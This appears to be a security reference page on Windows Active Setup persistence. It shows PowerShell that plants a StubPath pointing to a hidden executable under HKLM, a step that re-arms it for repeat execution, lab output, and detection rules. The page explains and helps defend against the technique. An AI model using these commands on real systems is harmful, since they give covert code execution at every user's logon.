Active Setup

Overview

Active Setup is a legacy Internet Explorer mechanism for installing per-user components. It lives under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components, where each subkey is a GUID-named component. A component carries a StubPath - the command to run - and an IsInstalled flag. When a user logs on for the first time after the component appears, the shell runs the StubPath once for that user and sets IsInstalled to 1 so it does not run again. Because the key sits in the machine-wide HKLM tree, the same component fires once for every user who logs on after it is written, not just the user who created it.

That one-shot-per-user behaviour is the persistence trick. An attacker who can write to HKLM can plant a StubPath that runs at the next logon of every user, then either let it fire once per user or reset IsInstalled to 0 to make it fire again. It is a quieter cousin of the Run keys: it does not run on every logon of the same user, it runs once per new user, and it does so from a registry location most endpoint rules do not watch by default.

The call chain

1. 1
   Create the Active Setup component

   A GUID-keyed subkey under Active Setup\Installed Components with IsInstalled set to 0.
   advapi32
2. 2
   Set the StubPath

   The command or executable to run once the component is processed for a user.
   -
3. 3
   First user logon triggers execution

   The shell runs the StubPath once for that user and flips IsInstalled to 1.
   -
4. 4
   Repeat for each new user

   The key is machine-wide; every new user who logs on executes the stub once.
   -

Reference implementation

The whole mechanism is a registry write: a GUID subkey, a StubPath, and an IsInstalled flag set to 0. The execution happens later, at logon, with no visible process of the attacker’s own at write time.

# plant the component
$ guid = '{8A6705F9-8B26-4B29-9B26-8A6705F90000}'
$ key  = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid"
New-Item $key -Force | Out-Null
Set-ItemProperty $key -Name StubPath    -Value 'C:\ProgramData\.u\act.exe'
Set-ItemProperty $key -Name IsInstalled -Value 0

# confirm the planted state
Get-ItemProperty $key | Select-Object StubPath, IsInstalled

# plant the component
$ guid = '{8A6705F9-8B26-4B29-9B26-8A6705F90000}'
$ key  = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid"
New-Item $key -Force | Out-Null
Set-ItemProperty $key -Name StubPath    -Value 'C:\ProgramData\.u\act.exe'
Set-ItemProperty $key -Name IsInstalled -Value 0

# confirm the planted state
Get-ItemProperty $key | Select-Object StubPath, IsInstalled

To make the component fire again for a user who has already had it run, reset the flag. This is the difference between a one-shot and a reusable autostart.

# re-arm for the next logon of any user
Set-ItemProperty $key -Name IsInstalled -Value 0

# the shell flips it back to 1 after the first user's logon
# a watch on that 0 -> 1 transition is the cleanest continuous signal

# re-arm for the next logon of any user
Set-ItemProperty $key -Name IsInstalled -Value 0

# the shell flips it back to 1 after the first user's logon
# a watch on that 0 -> 1 transition is the cleanest continuous signal

Verifying in the lab

Write the key with a StubPath that drops a marker file, log on as a fresh user, and confirm the marker appears and the flag flips to 1. Log on as a second user and confirm the component fires again for them. Reset the flag and confirm the first user triggers it on their next logon.

# user A logs on
> dir C:\Users\userA\marker.txt
marker.txt   <-- the artifact

# user B logs on; the machine-wide key fires for B too
> dir C:\Users\userB\marker.txt
marker.txt   <-- the artifact

# the registry flips after each user
> reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{8A6705F9-...}"
IsInstalled    REG_DWORD    0x1

# user A logs on
> dir C:\Users\userA\marker.txt
marker.txt   <-- the artifact

# user B logs on; the machine-wide key fires for B too
> dir C:\Users\userB\marker.txt
marker.txt   <-- the artifact

# the registry flips after each user
> reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{8A6705F9-...}"
IsInstalled    REG_DWORD    0x1

Detection

The registry write is the setup; the logon-time stub execution is the confirmation.

Rank them: the EID 13 rule on a new Installed Components subkey with IsInstalled of 0 is the cheapest continuous control and catches the plant. The 0 -> 1 transition rule is the highest-fidelity confirmation, because it fires only when the shell actually processes the component for a user. The stub-execution rule is the triage catch where registry telemetry is thin, and it is the one to pair with a parent-process allowlist for the shell.

Variants & related